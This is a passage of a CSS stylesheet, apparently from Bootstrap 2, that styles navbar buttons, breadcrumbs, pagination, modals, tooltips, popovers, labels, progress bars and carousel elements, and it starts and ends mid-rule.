box-shadow: inset 0 1px 0 rgba(255, 255, 255, 0.1), 0 1px 0 rgba(255, 255, 255, 0.075);\n}\n\n.navbar .btn-navbar:hover,\n.navbar .btn-navbar:active,\n.navbar .btn-navbar.active,\n.navbar .btn-navbar.disabled,\n.navbar .btn-navbar[disabled] {\n  background-color: #222222;\n  *background-color: #151515;\n}\n\n.navbar .btn-navbar:active,\n.navbar .btn-navbar.active {\n  background-color: #080808 \\9;\n}\n\n.navbar .btn-navbar .icon-bar {\n  display: block;\n  width: 18px;\n  height: 2px;\n  background-color: #f5f5f5;\n  -webkit-border-radius: 1px;\n     -moz-border-radius: 1px;\n          border-radius: 1px;\n  -webkit-box-shadow: 0 1px 0 rgba(0, 0, 0, 0.25);\n     -moz-box-shadow: 0 1px 0 rgba(0, 0, 0, 0.25);\n          box-shadow: 0 1px 0 rgba(0, 0, 0, 0.25);\n}\n\n.btn-navbar .icon-bar + .icon-bar {\n  margin-top: 3px;\n}\n\n.navbar .dropdown-menu:before {\n  position: absolute;\n  top: -7px;\n  left: 9px;\n  display: inline-block;\n  border-right: 7px solid transparent;\n  border-bottom: 7px solid #ccc;\n  border-left: 7px solid transparent;\n  border-bottom-color: rgba(0, 0, 0, 0.2);\n  content: '';\n}\n\n.navbar .dropdown-menu:after {\n  position: absolute;\n  top: -6px;\n  left: 10px;\n  display: inline-block;\n  border-right: 6px solid transparent;\n  border-bottom: 6px solid #ffffff;\n  border-left: 6px solid transparent;\n  content: '';\n}\n\n.navbar-fixed-bottom .dropdown-menu:before {\n  top: auto;\n  bottom: -7px;\n  border-top: 7px solid #ccc;\n  border-bottom: 0;\n  border-top-color: rgba(0, 0, 0, 0.2);\n}\n\n.navbar-fixed-bottom .dropdown-menu:after {\n  top: auto;\n  bottom: -6px;\n  border-top: 6px solid #ffffff;\n  border-bottom: 0;\n}\n\n.navbar .nav li.dropdown .dropdown-toggle .caret,\n.navbar .nav li.dropdown.open .caret {\n  border-top-color: #ffffff;\n  border-bottom-color: #ffffff;\n}\n\n.navbar .nav li.dropdown.active .caret {\n  opacity: 1;\n  filter: alpha(opacity=100);\n}\n\n.navbar .nav li.dropdown.open > .dropdown-toggle,\n.navbar .nav li.dropdown.active > .dropdown-toggle,\n.navbar .nav li.dropdown.open.active > .dropdown-toggle {\n  background-color: transparent;\n}\n\n.navbar .nav li.dropdown.active > .dropdown-toggle:hover {\n  color: #ffffff;\n}\n\n.navbar .pull-right .dropdown-menu,\n.navbar .dropdown-menu.pull-right {\n  right: 0;\n  left: auto;\n}\n\n.navbar .pull-right .dropdown-menu:before,\n.navbar .dropdown-menu.pull-right:before {\n  right: 12px;\n  left: auto;\n}\n\n.navbar .pull-right .dropdown-menu:after,\n.navbar .dropdown-menu.pull-right:after {\n  right: 13px;\n  left: auto;\n}\n\n.breadcrumb {\n  padding: 7px 14px;\n  margin: 0 0 18px;\n  list-style: none;\n  background-color: #fbfbfb;\n  background-image: -moz-linear-gradient(top, #ffffff, #f5f5f5);\n  background-image: -ms-linear-gradient(top, #ffffff, #f5f5f5);\n  background-image: -webkit-gradient(linear, 0 0, 0 100%, from(#ffffff), to(#f5f5f5));\n  background-image: -webkit-linear-gradient(top, #ffffff, #f5f5f5);\n  background-image: -o-linear-gradient(top, #ffffff, #f5f5f5);\n  background-image: linear-gradient(top, #ffffff, #f5f5f5);\n  background-repeat: repeat-x;\n  border: 1px solid #ddd;\n  -webkit-border-radius: 3px;\n     -moz-border-radius: 3px;\n          border-radius: 3px;\n  filter: progid:dximagetransform.microsoft.gradient(startColorstr='#ffffff', endColorstr='#f5f5f5', GradientType=0);\n  -webkit-box-shadow: inset 0 1px 0 #ffffff;\n     -moz-box-shadow: inset 0 1px 0 #ffffff;\n          box-shadow: inset 0 1px 0 #ffffff;\n}\n\n.breadcrumb li {\n  display: inline-block;\n  *display: inline;\n  text-shadow: 0 1px 0 #ffffff;\n  *zoom: 1;\n}\n\n.breadcrumb .divider {\n  padding: 0 5px;\n  color: #999999;\n}\n\n.breadcrumb .active a {\n  color: #333333;\n}\n\n.pagination {\n  height: 36px;\n  margin: 18px 0;\n}\n\n.pagination ul {\n  display: inline-block;\n  *display: inline;\n  margin-bottom: 0;\n  margin-left: 0;\n  -webkit-border-radius: 3px;\n     -moz-border-radius: 3px;\n          border-radius: 3px;\n  *zoom: 1;\n  -webkit-box-shadow: 0 1px 2px rgba(0, 0, 0, 0.05);\n     -moz-box-shadow: 0 1px 2px rgba(0, 0, 0, 0.05);\n          box-shadow: 0 1px 2px rgba(0, 0, 0, 0.05);\n}\n\n.pagination li {\n  display: inline;\n}\n\n.pagination a {\n  float: left;\n  padding: 0 14px;\n  line-height: 34px;\n  text-decoration: none;\n  border: 1px solid #ddd;\n  border-left-width: 0;\n}\n\n.pagination a:hover,\n.pagination .active a {\n  background-color: #f5f5f5;\n}\n\n.pagination .active a {\n  color: #999999;\n  cursor: default;\n}\n\n.pagination .disabled span,\n.pagination .disabled a,\n.pagination .disabled a:hover {\n  color: #999999;\n  cursor: default;\n  background-color: transparent;\n}\n\n.pagination li:first-child a {\n  border-left-width: 1px;\n  -webkit-border-radius: 3px 0 0 3px;\n     -moz-border-radius: 3px 0 0 3px;\n          border-radius: 3px 0 0 3px;\n}\n\n.pagination li:last-child a {\n  -webkit-border-radius: 0 3px 3px 0;\n     -moz-border-radius: 0 3px 3px 0;\n          border-radius: 0 3px 3px 0;\n}\n\n.pagination-centered {\n  text-align: center;\n}\n\n.pagination-right {\n  text-align: right;\n}\n\n.pager {\n  margin-bottom: 18px;\n  margin-left: 0;\n  text-align: center;\n  list-style: none;\n  *zoom: 1;\n}\n\n.pager:before,\n.pager:after {\n  display: table;\n  content: \"\";\n}\n\n.pager:after {\n  clear: both;\n}\n\n.pager li {\n  display: inline;\n}\n\n.pager a {\n  display: inline-block;\n  padding: 5px 14px;\n  background-color: #fff;\n  border: 1px solid #ddd;\n  -webkit-border-radius: 15px;\n     -moz-border-radius: 15px;\n          border-radius: 15px;\n}\n\n.pager a:hover {\n  text-decoration: none;\n  background-color: #f5f5f5;\n}\n\n.pager .next a {\n  float: right;\n}\n\n.pager .previous a {\n  float: left;\n}\n\n.pager .disabled a,\n.pager .disabled a:hover {\n  color: #999999;\n  cursor: default;\n  background-color: #fff;\n}\n\n.modal-open .dropdown-menu {\n  z-index: 2050;\n}\n\n.modal-open .dropdown.open {\n  *z-index: 2050;\n}\n\n.modal-open .popover {\n  z-index: 2060;\n}\n\n.modal-open .tooltip {\n  z-index: 2070;\n}\n\n.modal-backdrop {\n  position: fixed;\n  top: 0;\n  right: 0;\n  bottom: 0;\n  left: 0;\n  z-index: 1040;\n  background-color: #000000;\n}\n\n.modal-backdrop.fade {\n  opacity: 0;\n}\n\n.modal-backdrop,\n.modal-backdrop.fade.in {\n  opacity: 0.8;\n  filter: alpha(opacity=80);\n}\n\n.modal {\n  position: fixed;\n  top: 50%;\n  left: 50%;\n  z-index: 1050;\n  width: 560px;\n  margin: -250px 0 0 -280px;\n  overflow: auto;\n  background-color: #ffffff;\n  border: 1px solid #999;\n  border: 1px solid rgba(0, 0, 0, 0.3);\n  *border: 1px solid #999;\n  -webkit-border-radius: 6px;\n     -moz-border-radius: 6px;\n          border-radius: 6px;\n  -webkit-box-shadow: 0 3px 7px rgba(0, 0, 0, 0.3);\n     -moz-box-shadow: 0 3px 7px rgba(0, 0, 0, 0.3);\n          box-shadow: 0 3px 7px rgba(0, 0, 0, 0.3);\n  -webkit-background-clip: padding-box;\n     -moz-background-clip: padding-box;\n          background-clip: padding-box;\n}\n\n.modal.fade {\n  top: -25%;\n  -webkit-transition: opacity 0.3s linear, top 0.3s ease-out;\n     -moz-transition: opacity 0.3s linear, top 0.3s ease-out;\n      -ms-transition: opacity 0.3s linear, top 0.3s ease-out;\n       -o-transition: opacity 0.3s linear, top 0.3s ease-out;\n          transition: opacity 0.3s linear, top 0.3s ease-out;\n}\n\n.modal.fade.in {\n  top: 50%;\n}\n\n.modal-header {\n  padding: 9px 15px;\n  border-bottom: 1px solid #eee;\n}\n\n.modal-header .close {\n  margin-top: 2px;\n}\n\n.modal-body {\n  max-height: 400px;\n  padding: 15px;\n  overflow-y: auto;\n}\n\n.modal-form {\n  margin-bottom: 0;\n}\n\n.modal-footer {\n  padding: 14px 15px 15px;\n  margin-bottom: 0;\n  text-align: right;\n  background-color: #f5f5f5;\n  border-top: 1px solid #ddd;\n  -webkit-border-radius: 0 0 6px 6px;\n     -moz-border-radius: 0 0 6px 6px;\n          border-radius: 0 0 6px 6px;\n  *zoom: 1;\n  -webkit-box-shadow: inset 0 1px 0 #ffffff;\n     -moz-box-shadow: inset 0 1px 0 #ffffff;\n          box-shadow: inset 0 1px 0 #ffffff;\n}\n\n.modal-footer:before,\n.modal-footer:after {\n  display: table;\n  content: \"\";\n}\n\n.modal-footer:after {\n  clear: both;\n}\n\n.modal-footer .btn + .btn {\n  margin-bottom: 0;\n  margin-left: 5px;\n}\n\n.modal-footer .btn-group .btn + .btn {\n  margin-left: -1px;\n}\n\n.tooltip {\n  position: absolute;\n  z-index: 1020;\n  display: block;\n  padding: 5px;\n  font-size: 11px;\n  opacity: 0;\n  filter: alpha(opacity=0);\n  visibility: visible;\n}\n\n.tooltip.in {\n  opacity: 0.8;\n  filter: alpha(opacity=80);\n}\n\n.tooltip.top {\n  margin-top: -2px;\n}\n\n.tooltip.right {\n  margin-left: 2px;\n}\n\n.tooltip.bottom {\n  margin-top: 2px;\n}\n\n.tooltip.left {\n  margin-left: -2px;\n}\n\n.tooltip.top .tooltip-arrow {\n  bottom: 0;\n  left: 50%;\n  margin-left: -5px;\n  border-top: 5px solid #000000;\n  border-right: 5px solid transparent;\n  border-left: 5px solid transparent;\n}\n\n.tooltip.left .tooltip-arrow {\n  top: 50%;\n  right: 0;\n  margin-top: -5px;\n  border-top: 5px solid transparent;\n  border-bottom: 5px solid transparent;\n  border-left: 5px solid #000000;\n}\n\n.tooltip.bottom .tooltip-arrow {\n  top: 0;\n  left: 50%;\n  margin-left: -5px;\n  border-right: 5px solid transparent;\n  border-bottom: 5px solid #000000;\n  border-left: 5px solid transparent;\n}\n\n.tooltip.right .tooltip-arrow {\n  top: 50%;\n  left: 0;\n  margin-top: -5px;\n  border-top: 5px solid transparent;\n  border-right: 5px solid #000000;\n  border-bottom: 5px solid transparent;\n}\n\n.tooltip-inner {\n  max-width: 200px;\n  padding: 3px 8px;\n  color: #ffffff;\n  text-align: center;\n  text-decoration: none;\n  background-color: #000000;\n  -webkit-border-radius: 4px;\n     -moz-border-radius: 4px;\n          border-radius: 4px;\n}\n\n.tooltip-arrow {\n  position: absolute;\n  width: 0;\n  height: 0;\n}\n\n.popover {\n  position: absolute;\n  top: 0;\n  left: 0;\n  z-index: 1010;\n  display: none;\n  padding: 5px;\n}\n\n.popover.top {\n  margin-top: -5px;\n}\n\n.popover.right {\n  margin-left: 5px;\n}\n\n.popover.bottom {\n  margin-top: 5px;\n}\n\n.popover.left {\n  margin-left: -5px;\n}\n\n.popover.top .arrow {\n  bottom: 0;\n  left: 50%;\n  margin-left: -5px;\n  border-top: 5px solid #000000;\n  border-right: 5px solid transparent;\n  border-left: 5px solid transparent;\n}\n\n.popover.right .arrow {\n  top: 50%;\n  left: 0;\n  margin-top: -5px;\n  border-top: 5px solid transparent;\n  border-right: 5px solid #000000;\n  border-bottom: 5px solid transparent;\n}\n\n.popover.bottom .arrow {\n  top: 0;\n  left: 50%;\n  margin-left: -5px;\n  border-right: 5px solid transparent;\n  border-bottom: 5px solid #000000;\n  border-left: 5px solid transparent;\n}\n\n.popover.left .arrow {\n  top: 50%;\n  right: 0;\n  margin-top: -5px;\n  border-top: 5px solid transparent;\n  border-bottom: 5px solid transparent;\n  border-left: 5px solid #000000;\n}\n\n.popover .arrow {\n  position: absolute;\n  width: 0;\n  height: 0;\n}\n\n.popover-inner {\n  width: 280px;\n  padding: 3px;\n  overflow: hidden;\n  background: #000000;\n  background: rgba(0, 0, 0, 0.8);\n  -webkit-border-radius: 6px;\n     -moz-border-radius: 6px;\n          border-radius: 6px;\n  -webkit-box-shadow: 0 3px 7px rgba(0, 0, 0, 0.3);\n     -moz-box-shadow: 0 3px 7px rgba(0, 0, 0, 0.3);\n          box-shadow: 0 3px 7px rgba(0, 0, 0, 0.3);\n}\n\n.popover-title {\n  padding: 9px 15px;\n  line-height: 1;\n  background-color: #f5f5f5;\n  border-bottom: 1px solid #eee;\n  -webkit-border-radius: 3px 3px 0 0;\n     -moz-border-radius: 3px 3px 0 0;\n          border-radius: 3px 3px 0 0;\n}\n\n.popover-content {\n  padding: 14px;\n  background-color: #ffffff;\n  -webkit-border-radius: 0 0 3px 3px;\n     -moz-border-radius: 0 0 3px 3px;\n          border-radius: 0 0 3px 3px;\n  -webkit-background-clip: padding-box;\n     -moz-background-clip: padding-box;\n          background-clip: padding-box;\n}\n\n.popover-content p,\n.popover-content ul,\n.popover-content ol {\n  margin-bottom: 0;\n}\n\n.thumbnails {\n  margin-left: -20px;\n  list-style: none;\n  *zoom: 1;\n}\n\n.thumbnails:before,\n.thumbnails:after {\n  display: table;\n  content: \"\";\n}\n\n.thumbnails:after {\n  clear: both;\n}\n\n.row-fluid .thumbnails {\n  margin-left: 0;\n}\n\n.thumbnails > li {\n  float: left;\n  margin-bottom: 18px;\n  margin-left: 20px;\n}\n\n.thumbnail {\n  display: block;\n  padding: 4px;\n  line-height: 1;\n  border: 1px solid #ddd;\n  -webkit-border-radius: 4px;\n     -moz-border-radius: 4px;\n          border-radius: 4px;\n  -webkit-box-shadow: 0 1px 1px rgba(0, 0, 0, 0.075);\n     -moz-box-shadow: 0 1px 1px rgba(0, 0, 0, 0.075);\n          box-shadow: 0 1px 1px rgba(0, 0, 0, 0.075);\n}\n\na.thumbnail:hover {\n  border-color: #0088cc;\n  -webkit-box-shadow: 0 1px 4px rgba(0, 105, 214, 0.25);\n     -moz-box-shadow: 0 1px 4px rgba(0, 105, 214, 0.25);\n          box-shadow: 0 1px 4px rgba(0, 105, 214, 0.25);\n}\n\n.thumbnail > img {\n  display: block;\n  max-width: 100%;\n  margin-right: auto;\n  margin-left: auto;\n}\n\n.thumbnail .caption {\n  padding: 9px;\n}\n\n.label,\n.badge {\n  font-size: 10.998px;\n  font-weight: bold;\n  line-height: 14px;\n  color: #ffffff;\n  text-shadow: 0 -1px 0 rgba(0, 0, 0, 0.25);\n  white-space: nowrap;\n  vertical-align: baseline;\n  background-color: #999999;\n}\n\n.label {\n  padding: 1px 4px 2px;\n  -webkit-border-radius: 3px;\n     -moz-border-radius: 3px;\n          border-radius: 3px;\n}\n\n.badge {\n  padding: 1px 9px 2px;\n  -webkit-border-radius: 9px;\n     -moz-border-radius: 9px;\n          border-radius: 9px;\n}\n\na.label:hover,\na.badge:hover {\n  color: #ffffff;\n  text-decoration: none;\n  cursor: pointer;\n}\n\n.label-important,\n.badge-important {\n  background-color: #b94a48;\n}\n\n.label-important[href],\n.badge-important[href] {\n  background-color: #953b39;\n}\n\n.label-warning,\n.badge-warning {\n  background-color: #f89406;\n}\n\n.label-warning[href],\n.badge-warning[href] {\n  background-color: #c67605;\n}\n\n.label-success,\n.badge-success {\n  background-color: #468847;\n}\n\n.label-success[href],\n.badge-success[href] {\n  background-color: #356635;\n}\n\n.label-info,\n.badge-info {\n  background-color: #3a87ad;\n}\n\n.label-info[href],\n.badge-info[href] {\n  background-color: #2d6987;\n}\n\n.label-inverse,\n.badge-inverse {\n  background-color: #333333;\n}\n\n.label-inverse[href],\n.badge-inverse[href] {\n  background-color: #1a1a1a;\n}\n\n@-webkit-keyframes progress-bar-stripes {\n  from {\n    background-position: 40px 0;\n  }\n  to {\n    background-position: 0 0;\n  }\n}\n\n@-moz-keyframes progress-bar-stripes {\n  from {\n    background-position: 40px 0;\n  }\n  to {\n    background-position: 0 0;\n  }\n}\n\n@-ms-keyframes progress-bar-stripes {\n  from {\n    background-position: 40px 0;\n  }\n  to {\n    background-position: 0 0;\n  }\n}\n\n@-o-keyframes progress-bar-stripes {\n  from {\n    background-position: 0 0;\n  }\n  to {\n    background-position: 40px 0;\n  }\n}\n\n@keyframes progress-bar-stripes {\n  from {\n    background-position: 40px 0;\n  }\n  to {\n    background-position: 0 0;\n  }\n}\n\n.progress {\n  height: 18px;\n  margin-bottom: 18px;\n  overflow: hidden;\n  background-color: #f7f7f7;\n  background-image: -moz-linear-gradient(top, #f5f5f5, #f9f9f9);\n  background-image: -ms-linear-gradient(top, #f5f5f5, #f9f9f9);\n  background-image: -webkit-gradient(linear, 0 0, 0 100%, from(#f5f5f5), to(#f9f9f9));\n  background-image: -webkit-linear-gradient(top, #f5f5f5, #f9f9f9);\n  background-image: -o-linear-gradient(top, #f5f5f5, #f9f9f9);\n  background-image: linear-gradient(top, #f5f5f5, #f9f9f9);\n  background-repeat: repeat-x;\n  -webkit-border-radius: 4px;\n     -moz-border-radius: 4px;\n          border-radius: 4px;\n  filter: progid:dximagetransform.microsoft.gradient(startColorstr='#f5f5f5', endColorstr='#f9f9f9', GradientType=0);\n  -webkit-box-shadow: inset 0 1px 2px rgba(0, 0, 0, 0.1);\n     -moz-box-shadow: inset 0 1px 2px rgba(0, 0, 0, 0.1);\n          box-shadow: inset 0 1px 2px rgba(0, 0, 0, 0.1);\n}\n\n.progress .bar {\n  width: 0;\n  height: 18px;\n  font-size: 12px;\n  color: #ffffff;\n  text-align: center;\n  text-shadow: 0 -1px 0 rgba(0, 0, 0, 0.25);\n  background-color: #0e90d2;\n  background-image: -moz-linear-gradient(top, #149bdf, #0480be);\n  background-image: -webkit-gradient(linear, 0 0, 0 100%, from(#149bdf), to(#0480be));\n  background-image: -webkit-linear-gradient(top, #149bdf, #0480be);\n  background-image: -o-linear-gradient(top, #149bdf, #0480be);\n  background-image: linear-gradient(top, #149bdf, #0480be);\n  background-image: -ms-linear-gradient(top, #149bdf, #0480be);\n  background-repeat: repeat-x;\n  filter: progid:dximagetransform.microsoft.gradient(startColorstr='#149bdf', endColorstr='#0480be', GradientType=0);\n  -webkit-box-shadow: inset 0 -1px 0 rgba(0, 0, 0, 0.15);\n     -moz-box-shadow: inset 0 -1px 0 rgba(0, 0, 0, 0.15);\n          box-shadow: inset 0 -1px 0 rgba(0, 0, 0, 0.15);\n  -webkit-box-sizing: border-box;\n     -moz-box-sizing: border-box;\n      -ms-box-sizing: border-box;\n          box-sizing: border-box;\n  -webkit-transition: width 0.6s ease;\n     -moz-transition: width 0.6s ease;\n      -ms-transition: width 0.6s ease;\n       -o-transition: width 0.6s ease;\n          transition: width 0.6s ease;\n}\n\n.progress-striped .bar {\n  background-color: #149bdf;\n  background-image: -o-linear-gradient(-45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);\n  background-image: -webkit-linear-gradient(-45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);\n  background-image: -moz-linear-gradient(-45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);\n  background-image: -ms-linear-gradient(-45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);\n  background-image: -webkit-gradient(linear, 0 100%, 100% 0, color-stop(0.25, rgba(255, 255, 255, 0.15)), color-stop(0.25, transparent), color-stop(0.5, transparent), color-stop(0.5, rgba(255, 255, 255, 0.15)), color-stop(0.75, rgba(255, 255, 255, 0.15)), color-stop(0.75, transparent), to(transparent));\n  background-image: linear-gradient(-45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);\n  -webkit-background-size: 40px 40px;\n     -moz-background-size: 40px 40px;\n       -o-background-size: 40px 40px;\n          background-size: 40px 40px;\n}\n\n.progress.active .bar {\n  -webkit-animation: progress-bar-stripes 2s linear infinite;\n     -moz-animation: progress-bar-stripes 2s linear infinite;\n      -ms-animation: progress-bar-stripes 2s linear infinite;\n       -o-animation: progress-bar-stripes 2s linear infinite;\n          animation: progress-bar-stripes 2s linear infinite;\n}\n\n.progress-danger .bar {\n  background-color: #dd514c;\n  background-image: -moz-linear-gradient(top, #ee5f5b, #c43c35);\n  background-image: -ms-linear-gradient(top, #ee5f5b, #c43c35);\n  background-image: -webkit-gradient(linear, 0 0, 0 100%, from(#ee5f5b), to(#c43c35));\n  background-image: -webkit-linear-gradient(top, #ee5f5b, #c43c35);\n  background-image: -o-linear-gradient(top, #ee5f5b, #c43c35);\n  background-image: linear-gradient(top, #ee5f5b, #c43c35);\n  background-repeat: repeat-x;\n  filter: progid:dximagetransform.microsoft.gradient(startColorstr='#ee5f5b', endColorstr='#c43c35', GradientType=0);\n}\n\n.progress-danger.progress-striped .bar {\n  background-color: #ee5f5b;\n  background-image: -webkit-gradient(linear, 0 100%, 100% 0, color-stop(0.25, rgba(255, 255, 255, 0.15)), color-stop(0.25, transparent), color-stop(0.5, transparent), color-stop(0.5, rgba(255, 255, 255, 0.15)), color-stop(0.75, rgba(255, 255, 255, 0.15)), color-stop(0.75, transparent), to(transparent));\n  background-image: -webkit-linear-gradient(-45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);\n  background-image: -moz-linear-gradient(-45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);\n  background-image: -ms-linear-gradient(-45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);\n  background-image: -o-linear-gradient(-45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);\n  background-image: linear-gradient(-45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);\n}\n\n.progress-success .bar {\n  background-color: #5eb95e;\n  background-image: -moz-linear-gradient(top, #62c462, #57a957);\n  background-image: -ms-linear-gradient(top, #62c462, #57a957);\n  background-image: -webkit-gradient(linear, 0 0, 0 100%, from(#62c462), to(#57a957));\n  background-image: -webkit-linear-gradient(top, #62c462, #57a957);\n  background-image: -o-linear-gradient(top, #62c462, #57a957);\n  background-image: linear-gradient(top, #62c462, #57a957);\n  background-repeat: repeat-x;\n  filter: progid:dximagetransform.microsoft.gradient(startColorstr='#62c462', endColorstr='#57a957', GradientType=0);\n}\n\n.progress-success.progress-striped .bar {\n  background-color: #62c462;\n  background-image: -webkit-gradient(linear, 0 100%, 100% 0, color-stop(0.25, rgba(255, 255, 255, 0.15)), color-stop(0.25, transparent), color-stop(0.5, transparent), color-stop(0.5, rgba(255, 255, 255, 0.15)), color-stop(0.75, rgba(255, 255, 255, 0.15)), color-stop(0.75, transparent), to(transparent));\n  background-image: -webkit-linear-gradient(-45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);\n  background-image: -moz-linear-gradient(-45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);\n  background-image: -ms-linear-gradient(-45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);\n  background-image: -o-linear-gradient(-45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);\n  background-image: linear-gradient(-45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);\n}\n\n.progress-info .bar {\n  background-color: #4bb1cf;\n  background-image: -moz-linear-gradient(top, #5bc0de, #339bb9);\n  background-image: -ms-linear-gradient(top, #5bc0de, #339bb9);\n  background-image: -webkit-gradient(linear, 0 0, 0 100%, from(#5bc0de), to(#339bb9));\n  background-image: -webkit-linear-gradient(top, #5bc0de, #339bb9);\n  background-image: -o-linear-gradient(top, #5bc0de, #339bb9);\n  background-image: linear-gradient(top, #5bc0de, #339bb9);\n  background-repeat: repeat-x;\n  filter: progid:dximagetransform.microsoft.gradient(startColorstr='#5bc0de', endColorstr='#339bb9', GradientType=0);\n}\n\n.progress-info.progress-striped .bar {\n  background-color: #5bc0de;\n  background-image: -webkit-gradient(linear, 0 100%, 100% 0, color-stop(0.25, rgba(255, 255, 255, 0.15)), color-stop(0.25, transparent), color-stop(0.5, transparent), color-stop(0.5, rgba(255, 255, 255, 0.15)), color-stop(0.75, rgba(255, 255, 255, 0.15)), color-stop(0.75, transparent), to(transparent));\n  background-image: -webkit-linear-gradient(-45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);\n  background-image: -moz-linear-gradient(-45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);\n  background-image: -ms-linear-gradient(-45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);\n  background-image: -o-linear-gradient(-45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);\n  background-image: linear-gradient(-45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);\n}\n\n.progress-warning .bar {\n  background-color: #faa732;\n  background-image: -moz-linear-gradient(top, #fbb450, #f89406);\n  background-image: -ms-linear-gradient(top, #fbb450, #f89406);\n  background-image: -webkit-gradient(linear, 0 0, 0 100%, from(#fbb450), to(#f89406));\n  background-image: -webkit-linear-gradient(top, #fbb450, #f89406);\n  background-image: -o-linear-gradient(top, #fbb450, #f89406);\n  background-image: linear-gradient(top, #fbb450, #f89406);\n  background-repeat: repeat-x;\n  filter: progid:dximagetransform.microsoft.gradient(startColorstr='#fbb450', endColorstr='#f89406', GradientType=0);\n}\n\n.progress-warning.progress-striped .bar {\n  background-color: #fbb450;\n  background-image: -webkit-gradient(linear, 0 100%, 100% 0, color-stop(0.25, rgba(255, 255, 255, 0.15)), color-stop(0.25, transparent), color-stop(0.5, transparent), color-stop(0.5, rgba(255, 255, 255, 0.15)), color-stop(0.75, rgba(255, 255, 255, 0.15)), color-stop(0.75, transparent), to(transparent));\n  background-image: -webkit-linear-gradient(-45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);\n  background-image: -moz-linear-gradient(-45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);\n  background-image: -ms-linear-gradient(-45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);\n  background-image: -o-linear-gradient(-45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);\n  background-image: linear-gradient(-45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);\n}\n\n.accordion {\n  margin-bottom: 18px;\n}\n\n.accordion-group {\n  margin-bottom: 2px;\n  border: 1px solid #e5e5e5;\n  -webkit-border-radius: 4px;\n     -moz-border-radius: 4px;\n          border-radius: 4px;\n}\n\n.accordion-heading {\n  border-bottom: 0;\n}\n\n.accordion-heading .accordion-toggle {\n  display: block;\n  padding: 8px 15px;\n}\n\n.accordion-toggle {\n  cursor: pointer;\n}\n\n.accordion-inner {\n  padding: 9px 15px;\n  border-top: 1px solid #e5e5e5;\n}\n\n.carousel {\n  position: relative;\n  margin-bottom: 18px;\n  line-height: 1;\n}\n\n.carousel-inner {\n  position: relative;\n  width: 100%;\n  overflow: hidden;\n}\n\n.carousel .item {\n  position: relative;\n  display: none;\n  -webkit-transition: 0.6s ease-in-out left;\n     -moz-transition: 0.6s ease-in-out left;\n      -ms-transition: 0.6s ease-in-out left;\n       -o-transition: 0.6s ease-in-out 